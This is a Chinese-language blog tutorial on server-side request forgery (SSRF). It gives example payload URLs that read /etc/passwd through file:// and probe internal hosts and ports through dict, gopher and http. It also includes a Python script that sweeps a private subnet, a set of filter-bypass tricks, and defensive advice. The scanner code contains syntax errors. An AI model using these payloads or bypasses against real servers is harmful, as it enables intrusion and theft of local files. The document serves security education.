SSRF服务端请求伪造
介绍
ssrf是由攻击者构造请求,由服务端发起请求的安全漏洞,本质上是信息泄露漏洞。ssrf攻击的目标是从外网无法访问的内部系统,服务端当做跳板机(中间人)帮我们去请求内部系统。防火墙外紧内松
成因
由于服务端提供从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流: 攻击者→服务器—>目标地址
利用条件
url可控、后台页面没有对url进行正确校验、在页面中最好有输出
漏洞函数
```PHP
curl_exec()
file_get_contents()
fsockopen()
```
漏洞危害
- 利用file协议读取本地文件
- 对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
- 攻击运行在内网或本地的应用程序
- 对内网web应用进行指纹识别,识别企业内部的资产信息
- 攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击
漏洞利用 用途
5种
- 主机扫描 ipC段访问
- 端口扫描 ip 端口开启
- 指纹识别 数据库版本
- 漏洞利用
- 内网探针
漏洞利用方式
http://xxx.com/web/ssrf.php?url=dict://127.0.0.1:3333/info dict是字典服务期协议
http://xxx.com/web/ssrf.php?url=file:///etc/passwd file读取文件psswd
http://xxx.com/web/ssrf.php?url=file:///../../../../../../etc/passwd
http://xxx.com/web/ssrf.php?url=http://10.10.10.1/ 主机探测
http://xxx.com/web/ssrf.php?url=http://10.10.10.1:3306 端口探测
http://xxx.com/web/ssrf.php?url=gopher://127.0.0.1:3333/_test gopher文档传递服务 任意协议
内网扫描
- Burpsuite 爆破扫描
- Python 脚本遍历
**Burpsuite 爆破扫描**
对比length长度可以发现存在192.168.183这台主机
Python 脚本遍历
import requests
for i in range(1,255)
try:
resp:requests.get(f'http://www.xxxx.com/web/ssrf.php?url=http://192.168.11.{i}',timeout=2)
if 'file_get_contents' not in resp.text and 'Warning' not in resp.text:
print(f'192.168.11.{i} is ok!')
except:
pass
#前提后台代码使用file_get_contents函数
ps:
更完整代码要至少扫描 /24和 /16 两个网段,并尝试ABC类网址的私有地址端及其各类服务端口
10.0.0.0到10.255.255.255 是A类私有地址
172.16.0.0到172.31.255.255 是B类私有地址
192.168.0.0到192.168.255.255 是C类私有地址
指纹获取
根据扫描主机存活结果,可以进一步实现内网访问,进而获取服务器指纹信息。
SSRF漏洞挖掘技巧
**1、url中的关键字**
```Nginx
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
remote
```
**2、从web页面功能上寻找**
- 分享功能
- 转码服务:兼容手机浏览器页面,把网页内容转为手机合适的样式
- 在线翻译:有道翻译、百度翻译
- 图片加载与下载:开发者对图片调整压缩交给服务器处理
- 图文、文章收藏功能
- 未公开的api实现以及其他调用url的功能
SSRF分三类
1、回显
2、不回显:什么也没有,看相应时间,盲注
3、半回显:只能显示出title、图片等信息
SSRF绕过
**1、将ip地址转换为十进制**
使用在线转换,进行ip地址转换
https://www.bejson.com/convert/ip2int
直接访问http://1231231232
**2、重构url**
http://www.baidu.com@www.1231.com
**3、短网址**
利用有效的网址利用短网址生成平台进行转码
SSRF防御
1、限制协议为HTTP、HTTPS,不允许为其他协议
$url=$_GET['url'];
if(stripos($url,'http') === false || stripos($url,'http')>0)
{
echo"ERROR Protocol";
}
else{
echo"Good Protocol"
}
//stripos($source,$sub) 找到sub返回下标0开始的位置
//如果没有找到,则返回false,但是0==FALSE,所以务必使用===
2、设置url参数或IP地址白名单,非白名单不允许访问
3、限制内网ip访问,比如URL不能以10.0、17.16、192.168开头
url=http://www.baidu.com@192.168.112.111/index.html
4、统一错误信息,避免用户可根据错误信息来判断远程服务器的端口转台或者禁用错误消息
5、禁止重定向操作(服务端和客户端均需要过滤)
使用重定向可以直接跳转大目标url地址页面,用于构造钓鱼网站
6、限制请求的端口比如,80,443,8080,8090
7、后端服务器进制远程用户指定的请求,让参数不可控
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· 单线程的Redis速度为什么快?
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码